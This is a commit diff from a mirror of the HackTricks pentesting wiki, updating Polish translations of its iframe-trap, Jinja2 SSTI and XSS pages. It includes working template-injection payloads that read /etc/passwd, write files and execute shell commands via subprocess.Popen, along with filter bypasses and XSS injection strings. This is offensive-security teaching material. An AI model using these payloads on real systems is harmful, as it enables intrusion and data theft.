mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-21 08:28:27 +00:00
Translated ['pentesting-web/iframe-traps.md', 'pentesting-web/ssti-serve
This commit is contained in:
parent
0e325d6849
commit
d75d6c7393
7 changed files with 182 additions and 87 deletions
.gitbook/assets
SUMMARY.mdpentesting-web
BIN
.gitbook/assets/image (1248).png
Normal file
BIN
.gitbook/assets/image (1248).png
Normal file
Binary file not shown.
After ![]() (image error) Size: 33 KiB |
BIN
.gitbook/assets/image (1249).png
Normal file
BIN
.gitbook/assets/image (1249).png
Normal file
Binary file not shown.
After ![]() (image error) Size: 27 KiB |
|
@ -587,7 +587,6 @@
|
|||
* [Upgrade Header Smuggling](pentesting-web/h2c-smuggling.md)
|
||||
* [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
|
||||
* [IDOR](pentesting-web/idor.md)
|
||||
* [Integer Overflow](pentesting-web/integer-overflow.md)
|
||||
* [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
|
||||
* [LDAP Injection](pentesting-web/ldap-injection.md)
|
||||
* [Login Bypass](pentesting-web/login-bypass/README.md)
|
||||
|
@ -651,6 +650,7 @@
|
|||
* [DOM Invader](pentesting-web/xss-cross-site-scripting/dom-invader.md)
|
||||
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
|
||||
* [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
* [Integer Overflow](pentesting-web/xss-cross-site-scripting/integer-overflow.md)
|
||||
* [JS Hoisting](pentesting-web/xss-cross-site-scripting/js-hoisting.md)
|
||||
* [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
|
||||
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
|
||||
|
@ -672,6 +672,7 @@
|
|||
* [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md)
|
||||
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
|
||||
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
|
||||
* [Iframe Traps](pentesting-web/iframe-traps.md)
|
||||
|
||||
## ⛈️ Cloud Security
|
||||
|
||||
|
|
47
pentesting-web/iframe-traps.md
Normal file
47
pentesting-web/iframe-traps.md
Normal file
|
@ -0,0 +1,47 @@
|
|||
# Pułapki iframe
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Ta forma nadużywania XSS za pomocą ramek iframe do kradzieży informacji od użytkownika poruszającego się po stronie internetowej została pierwotnie opublikowana w tych 2 postach na trustedsec.com: [**tutaj**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **i** [**tutaj**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
|
||||
|
||||
Atak rozpoczyna się na stronie podatnej na XSS, gdzie możliwe jest sprawienie, że **ofiary nie opuszczą XSS**, sprawiając, że **nawigują wewnątrz ramki**, która zajmuje całą aplikację internetową.
|
||||
|
||||
Atak XSS w zasadzie spowoduje załadowanie strony internetowej w ramce na 100% ekranu. Dlatego ofiara **nie zauważy, że znajduje się wewnątrz ramki**. Następnie, jeśli ofiara nawiguje się po stronie, klikając linki wewnątrz ramki (wewnątrz strony internetowej), będzie **nawigować wewnątrz ramki** z załadowanym arbitralnym JS, kradnąc informacje z tej nawigacji.
|
||||
|
||||
Co więcej, aby uczynić to bardziej realistycznym, możliwe jest użycie niektórych **słuchaczy** do sprawdzania, kiedy rama zmienia lokalizację strony i aktualizowania adresu URL przeglądarki z tymi lokalizacjami, które użytkownik myśli, że przechodzi między stronami za pomocą przeglądarki.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1249).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
|
||||
|
||||
Co więcej, możliwe jest użycie słuchaczy do kradzieży wrażliwych informacji, nie tylko innych stron, które odwiedza ofiara, ale także danych używanych do **wypełniania formularzy** i wysyłania ich (dane uwierzytelniające?) lub do **kradzieży lokalnego przechowywania**...
|
||||
|
||||
Oczywiście, głównymi ograniczeniami są to, że **ofiara zamknięcie karty lub wpisanie innej adresu URL w przeglądarce ucieknie z ramki**. Inny sposób to **odświeżenie strony**, jednakże można to częściowo **zapobiec**, wyłączając prawoklikowe menu kontekstowe za każdym razem, gdy nowa strona jest ładowana wewnątrz ramki lub zauważając, kiedy mysz użytkownika opuszcza ramkę, potencjalnie aby kliknąć przycisk odświeżania przeglądarki, a w tym przypadku adres URL przeglądarki jest aktualizowany z oryginalnym adresem podatnym na XSS, więc jeśli użytkownik go odświeży, zostanie ponownie zatruty (zauważ, że nie jest to bardzo dyskretne).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
|
@ -43,9 +43,10 @@ Jeśli rozszerzenie Debug jest włączone, tag `debug` będzie dostępny do wypi
|
|||
|
||||
|
||||
|
||||
|
||||
</pre>
|
||||
```
|
||||
### **Wyrzucenie wszystkich zmiennych konfiguracyjnych**
|
||||
### **Wyciek wszystkich zmiennych konfiguracyjnych**
|
||||
```python
|
||||
{{ config }} #In these object you can find all the configured env variables
|
||||
|
||||
|
@ -58,14 +59,15 @@ Jeśli rozszerzenie Debug jest włączone, tag `debug` będzie dostępny do wypi
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
## **Wstrzyknięcie Jinja**
|
||||
|
||||
Po pierwsze, w wstrzyknięciu Jinja musisz **znaleźć sposób na ucieczkę z piaskownicy** i odzyskanie dostępu do zwykłego przepływu wykonania w Pythonie. Aby to zrobić, musisz **nadużyć obiektów**, które pochodzą **z** środowiska **bez piaskownicy, ale są dostępne z piaskownicy**.
|
||||
Po pierwsze, w wstrzyknięciu Jinja musisz **znaleźć sposób na ucieczkę z piaskownicy** i odzyskanie dostępu do regularnego przepływu wykonania w Pythonie. Aby to zrobić, musisz **nadużyć obiektów**, które pochodzą z **środowiska niesankboksowanego, ale są dostępne z piaskownicy**.
|
||||
|
||||
### Dostęp do obiektów globalnych
|
||||
|
||||
Na przykład w kodzie `render_template("hello.html", username=username, email=email)` obiekty username i email **pochodzą z niezabezpieczonego środowiska Pythona** i będą **dostępne** wewnątrz **środowiska z piaskownicą**.\
|
||||
Na przykład, w kodzie `render_template("hello.html", username=username, email=email)` obiekty username i email **pochodzą z niesankboksowanego środowiska Pythona** i będą **dostępne** wewnątrz **środowiska z piaskownicą**.\
|
||||
Co więcej, istnieją inne obiekty, które będą **zawsze dostępne z środowiska z piaskownicą**, są to:
|
||||
```
|
||||
[]
|
||||
|
@ -77,9 +79,9 @@ request
|
|||
```
|
||||
### Odzyskiwanie \<class 'object'>
|
||||
|
||||
Następnie, z tych obiektów musimy dotrzeć do klasy: **`<class 'object'>`** aby spróbować **odzyskać** zdefiniowane **klasy**. Jest to konieczne, ponieważ z tego obiektu możemy wywołać metodę **`__subclasses__`** i **uzyskać dostęp do wszystkich klas z niezabezpieczonego** środowiska pythona.
|
||||
Następnie, z tych obiektów musimy dotrzeć do klasy: **`<class 'object'>`**, aby spróbować **odzyskać** zdefiniowane **klasy**. Dzieje się tak, ponieważ z tego obiektu możemy wywołać metodę **`__subclasses__`** i **uzyskać dostęp do wszystkich klas z niezabezpieczonego** środowiska pythona.
|
||||
|
||||
Aby uzyskać dostęp do tej **klasy obiektu**, musisz uzyskać dostęp do **obiektu klasy** a następnie uzyskać dostęp do **`__base__`**, **`__mro__()[-1]`** lub `.`**`mro()[-1]`**. Następnie, **po** dotarciu do tej **klasy obiektu** wywołujemy **`__subclasses__()`**.
|
||||
Aby uzyskać dostęp do tej **klasy obiektu**, musisz uzyskać dostęp do **obiektu klasy** a następnie uzyskać dostęp do **`__base__`**, **`__mro__()[-1]`** lub `.`**`mro()[-1]`**. Następnie, **po** dotarciu do tej **klasy obiektu** **wywołujemy** **`__subclasses__()`**.
|
||||
|
||||
Sprawdź te przykłady:
|
||||
```python
|
||||
|
@ -117,6 +119,7 @@ dict.__mro__[-1]
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
# Not sure if this will work, but I saw it somewhere
|
||||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
|
@ -133,7 +136,7 @@ Wywołanie `__subclasses__` dało nam możliwość **dostępu do setek nowych fu
|
|||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
|
||||
```
|
||||
**Uruchamianie kodu zdalnego**
|
||||
**Wykonanie kodu zdalnego (RCE)**
|
||||
```python
|
||||
# The class 396 is the class <class 'subprocess.Popen'>
|
||||
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
||||
|
@ -166,7 +169,7 @@ Aby dowiedzieć się o **więcej klasach**, które możesz użyć do **uniknięc
|
|||
|
||||
#### Powszechne ominięcia
|
||||
|
||||
Te ominięcia pozwolą nam **uzyskać dostęp** do **atrybutów** obiektów **bez użycia niektórych znaków**.\
|
||||
Te ominięcia pozwolą nam **uzyskać dostęp** do **atrybutów** obiektów, **bez użycia niektórych znaków**.\
|
||||
Już widzieliśmy niektóre z tych ominięć w przykładach wcześniejszych, ale podsumujmy je tutaj:
|
||||
```bash
|
||||
# Without quotes, _, [, ]
|
||||
|
@ -194,6 +197,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
* [**Powrót tutaj po więcej opcji dostępu do obiektu globalnego**](jinja2-ssti.md#accessing-global-objects)
|
||||
* [**Powrót tutaj po więcej opcji dostępu do klasy obiektu**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
|
@ -201,13 +205,13 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
**Unikanie kodowania HTML**
|
||||
|
||||
Domyślnie Flask koduje HTML we wszystkich szablonach ze względów bezpieczeństwa:
|
||||
Domyślnie Flask koduje HTML we wszystkim w szablonie ze względów bezpieczeństwa:
|
||||
```python
|
||||
{{'<script>alert(1);</script>'}}
|
||||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**Filtr `safe`** pozwala nam wstrzyknąć JavaScript i HTML na stronę **bez** kodowania **HTML**, w ten sposób:
|
||||
**Filtr `safe`** pozwala nam wstrzyknąć JavaScript i HTML na stronę **bez** kodowania **HTML**, tak jak tutaj:
|
||||
```python
|
||||
{{'<script>alert(1);</script>'|safe}}
|
||||
#will be
|
||||
|
@ -233,11 +237,12 @@ Bez **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
## Wstrzyknięcie Jinja bez **\<class 'object'>**
|
||||
|
||||
Z [**obiektów globalnych**](jinja2-ssti.md#accessing-global-objects) istnieje inny sposób na uzyskanie **RCE bez użycia tej klasy.**\
|
||||
Jeśli uda ci się uzyskać dostęp do jakiejkolwiek **funkcji** z tych obiektów globalnych, będziesz mógł uzyskać dostęp do **`__globals__.__builtins__`** i stamtąd **RCE** jest bardzo **proste**.
|
||||
Jeśli uda ci się uzyskać dostęp do **funkcji** z tych obiektów globalnych, będziesz mógł uzyskać dostęp do **`__globals__.__builtins__`** i stamtąd **RCE** jest bardzo **proste**.
|
||||
|
||||
Możesz **znaleźć funkcje** z obiektów **`request`**, **`config`** i dowolnego **innego** interesującego **obiektu globalnego**, do którego masz dostęp za pomocą:
|
||||
```bash
|
||||
|
@ -282,7 +287,7 @@ Gdy już znajdziesz pewne funkcje, możesz odzyskać wbudowane funkcje za pomoc
|
|||
```
|
||||
### Fuzzing WAF bypass
|
||||
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一种专门用于 CTF 的工具,但也可以用于在真实场景中暴力破解无效参数。该工具只是向服务器发送单词和查询以检测过滤器,搜索绕过方式,并提供交互式控制台。
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一种专门用于CTF的工具,但也可以用于在真实场景中暴力破解无效参数。该工具只是向服务器发送单词和查询以检测过滤器,搜索绕过方式,并提供交互式控制台。
|
||||
```
|
||||
webui:
|
||||
As the name suggests, web UI
|
||||
|
@ -310,18 +315,18 @@ The request will be urlencoded by default according to the HTTP format, which ca
|
|||
## Odnośniki
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
* Sprawdź [szczegół wskazówki dotyczące omijania zablokowanych znaków tutaj](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* Sprawdź [sztuczkę attr do ominięcia zablokowanych znaków tutaj](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli interesuje Cię **kariera w dziedzinie hakowania** i hakowanie rzeczy niemożliwych do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
Jeśli interesuje Cię **kariera hakera** i hakiowanie rzeczy niemożliwych - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -11,7 +11,7 @@ Jeśli interesuje Cię **kariera w dziedzinie hakowania** i hakowanie rzeczy nie
|
|||
1. Sprawdź, czy **jakakolwiek wartość, którą kontrolujesz** (_parametry_, _ścieżka_, _nagłówki_?, _ciasteczka_?) jest **odbijana** w HTML lub **używana** przez kod **JS**.
|
||||
2. **Znajdź kontekst**, w którym jest odbijana/używana.
|
||||
3. Jeśli jest **odbijana**
|
||||
1. Sprawdź, **jakie symbole możesz użyć** i w zależności od tego przygotuj ładunek:
|
||||
1. Sprawdź, **jakie symbole możesz użyć** i w zależności od tego, przygotuj ładunek:
|
||||
1. W **surowym HTML**:
|
||||
1. Czy możesz tworzyć nowe tagi HTML?
|
||||
2. Czy możesz używać zdarzeń lub atrybutów obsługujących protokół `javascript:`?
|
||||
|
@ -19,7 +19,7 @@ Jeśli interesuje Cię **kariera w dziedzinie hakowania** i hakowanie rzeczy nie
|
|||
4. Czy zawartość HTML jest interpretowana przez jakikolwiek silnik JS po stronie klienta (_AngularJS_, _VueJS_, _Mavo_...), możesz wykorzystać [**Wstrzyknięcie Szablonu Po Stronie Klienta**](../client-side-template-injection-csti.md).
|
||||
5. Jeśli nie możesz tworzyć tagów HTML wykonujących kod JS, czy możesz wykorzystać [**Zawieszone Znaczniki - Wstrzyknięcie HTML bez skryptów**](../dangling-markup-html-scriptless-injection/)?
|
||||
2. Wewnątrz **tagu HTML**:
|
||||
1. Czy możesz wyjść do kontekstu surowego HTML?
|
||||
1. Czy możesz wyjść do surowego kontekstu HTML?
|
||||
2. Czy możesz tworzyć nowe zdarzenia/cechy do wykonania kodu JS?
|
||||
3. Czy atrybut, w którym utknąłeś, obsługuje wykonanie JS?
|
||||
4. Czy możesz ominąć zabezpieczenia?
|
||||
|
@ -28,12 +28,12 @@ Jeśli interesuje Cię **kariera w dziedzinie hakowania** i hakowanie rzeczy nie
|
|||
2. Czy możesz uniknąć ciągu znaków i wykonać inny kod JS?
|
||||
3. Czy twoje dane wejściowe są w literałach szablonu \`\`?
|
||||
4. Czy możesz ominąć zabezpieczenia?
|
||||
4. Funkcja **JavaScript** jest **wykonywana**
|
||||
4. Funkcja JavaScript **wykonywana**
|
||||
1. Możesz wskazać nazwę funkcji do wykonania, np.: `?callback=alert(1)`
|
||||
4. Jeśli jest **używana**:
|
||||
1. Możesz wykorzystać **DOM XSS**, zwróć uwagę, jak twoje dane wejściowe są kontrolowane i czy twoje **kontrolowane dane wejściowe są używane przez jakikolwiek zbiornik.**
|
||||
1. Możesz wykorzystać **DOM XSS**, zwróć uwagę, jak twoje dane wejściowe są kontrolowane i czy twoje **kontrolowane dane są używane przez jakikolwiek ujście.**
|
||||
|
||||
Pracując nad złożonym XSS, może być interesujące wiedzieć o:
|
||||
Pracując nad złożonym XSS, może być interesujące poznanie:
|
||||
|
||||
{% content-ref url="debugging-client-side-js.md" %}
|
||||
[debugging-client-side-js.md](debugging-client-side-js.md)
|
||||
|
@ -56,13 +56,13 @@ Próbując wykorzystać XSS, pierwszą rzeczą, którą musisz wiedzieć, jest *
|
|||
Jeśli twoje dane wejściowe są **odbijane na surowej stronie HTML**, będziesz musiał wykorzystać jakiś **tag HTML**, aby wykonać kod JS: `<img , <iframe , <svg , <script` ... to tylko kilka z wielu możliwych tagów HTML, których możesz użyć.\
|
||||
Pamiętaj również o [Wstrzyknięciu Szablonu Po Stronie Klienta](../client-side-template-injection-csti.md).
|
||||
|
||||
### Wewnątrz atrybutu tagu HTML
|
||||
### Wewnątrz atrybutów tagów HTML
|
||||
|
||||
Jeśli twoje dane wejściowe są odbijane wewnątrz wartości atrybutu tagu, możesz spróbować:
|
||||
|
||||
1. **Uciec z atrybutu i z tagu** (wtedy będziesz w surowym HTML) i utworzyć nowy tag HTML do wykorzystania: `"><img [...]`
|
||||
2. Jeśli **możesz uciec z atrybutu, ale nie z tagu** (`>` jest zakodowane lub usunięte), w zależności od tagu możesz **utworzyć zdarzenie**, które wykonuje kod JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), w zależności od **którego atrybutu** twoje dane są odbijane **czy kontrolujesz całą wartość czy tylko jej część**, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie jak `onclick=`, będziesz mógł sprawić, żeby wykonywało arbitralny kod po kliknięciu. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:` do wykonania arbitralnego kodu: **`href="javascript:alert(1)"`**
|
||||
3. Jeśli **nie możesz uciec z atrybutu** (`"` jest zakodowane lub usunięte), w zależności od **którego atrybutu** twoje dane są odbijane, jeśli kontrolujesz całą wartość lub tylko jej część, będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie jak `onclick=`, będziesz mógł sprawić, żeby wykonywało dowolny kod, gdy zostanie kliknięte. Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:` do wykonania dowolnego kodu: **`href="javascript:alert(1)"`**
|
||||
4. Jeśli twoje dane wejściowe są odbijane wewnątrz "**nieeksploatowalnych tagów**", możesz spróbować sztuczki z **`accesskey`**, aby wykorzystać lukę (będziesz potrzebował jakiegoś rodzaju inżyniera społecznego, aby to wykorzystać): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Dziwny przykład Angular wykonujący XSS, jeśli kontrolujesz nazwę klasy:
|
||||
|
@ -73,10 +73,10 @@ Dziwny przykład Angular wykonujący XSS, jeśli kontrolujesz nazwę klasy:
|
|||
```
|
||||
### Wewnątrz kodu JavaScript
|
||||
|
||||
W tym przypadku twój input jest odbijany pomiędzy tagami **`<script> [...] </script>`** na stronie HTML, wewnątrz pliku `.js` lub w atrybucie używającym protokołu **`javascript:`**:
|
||||
W tym przypadku twój input jest odbijany między tagami **`<script> [...] </script>`** na stronie HTML, wewnątrz pliku `.js` lub w atrybucie używającym protokołu **`javascript:`**:
|
||||
|
||||
* Jeśli jest odbijany pomiędzy tagami **`<script> [...] </script>`**, nawet jeśli twój input znajduje się w jakimkolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć `</script>` i uciec z tego kontekstu. Działa to dlatego, że **przeglądarka najpierw analizuje tagi HTML**, a następnie zawartość, dlatego nie zauważy, że twój wstrzyknięty tag `</script>` znajduje się w kodzie HTML.
|
||||
* Jeśli jest odbijany **wewnątrz łańcucha JS** i poprzedni trik nie działa, będziesz musiał **wyjść** z łańcucha, **wykonać** swój kod i **zrekonstruować** kod JS (jeśli wystąpi błąd, nie zostanie wykonany):
|
||||
* Jeśli jest odbijany między tagami **`<script> [...] </script>`**, nawet jeśli twój input jest wewnątrz jakichkolwiek cudzysłowów, możesz spróbować wstrzyknąć `</script>` i uciec z tego kontekstu. Działa to dlatego, że **przeglądarka najpierw analizuje tagi HTML**, a następnie zawartość, dlatego nie zauważy, że twój wstrzyknięty tag `</script>` znajduje się wewnątrz kodu HTML.
|
||||
* Jeśli jest odbijany **wewnątrz łańcucha JS** i poprzedni trik nie działa, będziesz musiał **wyjść** ze stringa, **wykonać** swój kod i **zrekonstruować** kod JS (jeśli wystąpi błąd, nie zostanie wykonany):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
|
@ -98,7 +98,7 @@ Podnoszenie Javascript odnosi się do możliwości **deklarowania funkcji, zmien
|
|||
|
||||
### Funkcja Javascript
|
||||
|
||||
Wiele stron internetowych ma punkty końcowe, które **przyjmują jako parametr nazwę funkcji do wykonania**. Powszechnym przykładem, który można zobaczyć w środowisku produkcyjnym, jest coś w rodzaju: `?callback=callbackFunc`.
|
||||
Kilka stron internetowych ma punkty końcowe, które **przyjmują jako parametr nazwę funkcji do wykonania**. Powszechnym przykładem, który można zobaczyć w praktyce, jest coś w rodzaju: `?callback=callbackFunc`.
|
||||
|
||||
Dobrym sposobem sprawdzenia, czy coś podanego bezpośrednio przez użytkownika próbuje być wykonane, jest **zmiana wartości parametru** (na przykład na 'Vulnerable') i sprawdzenie konsoli pod kątem błędów, takich jak:
|
||||
|
||||
|
@ -120,9 +120,9 @@ parentElement
|
|||
```
|
||||
Możesz również spróbować **wywołać funkcje Javascript** bezpośrednio: `obj.sales.delOrders`.
|
||||
|
||||
Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję są punktami końcowymi bez zbyt interesującego DOM, **inne strony w tej samej domenie** będą miały **bardziej interesujący DOM** do wykonania większej liczby działań.
|
||||
Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję są punktami końcowymi bez zbyt interesującego DOM, **inne strony w tej samej domenie** będą miały **bardziej interesujący DOM** do wykonania więcej działań.
|
||||
|
||||
Dlatego, aby **wykorzystać tę podatność w innym DOM**, opracowano eksploatację **Same Origin Method Execution (SOME)**:
|
||||
Dlatego, aby **wykorzystać tę lukę w zabezpieczeniach w innym DOM**, opracowano eksploatację **Metody Wykonania w Tej Samej Domenie (SOME)**:
|
||||
|
||||
{% content-ref url="some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
|
||||
|
@ -130,7 +130,7 @@ Dlatego, aby **wykorzystać tę podatność w innym DOM**, opracowano eksploatac
|
|||
|
||||
### DOM
|
||||
|
||||
Istnieje **kod JS**, który **niebezpiecznie** korzysta z pewnych **danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący mógłby wykorzystać to do wykonania dowolnego kodu JS.
|
||||
Istnieje **kod JS**, który **niebezpiecznie** korzysta z **danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący mógłby wykorzystać to do wykonania arbitralnego kodu JS.
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -138,7 +138,7 @@ Istnieje **kod JS**, który **niebezpiecznie** korzysta z pewnych **danych kontr
|
|||
|
||||
### **Uniwersalne XSS**
|
||||
|
||||
Ten rodzaj XSS można znaleźć **wszędzie**. Nie zależą one tylko od eksploatacji klienta aplikacji internetowej, ale od **dowolnego** **kontekstu**. Ten rodzaj **wykonywania dowolnego kodu JavaScript** może nawet być wykorzystany do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach, i więcej.\
|
||||
Ten rodzaj XSS można znaleźć **wszędzie**. Nie zależą one tylko od eksploatacji klienta aplikacji internetowej, ale od **dowolnego** **kontekstu**. Ten rodzaj **arbitralnego wykonania JavaScript** może nawet być wykorzystany do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach, i więcej.\
|
||||
Kilka **przykładów**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -149,7 +149,7 @@ Kilka **przykładów**:
|
|||
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Obchodzenie WAF kodowanie obrazu
|
||||
## Obchodzenie WAF za pomocą kodowania obrazu
|
||||
|
||||
.jpg>)
|
||||
|
||||
|
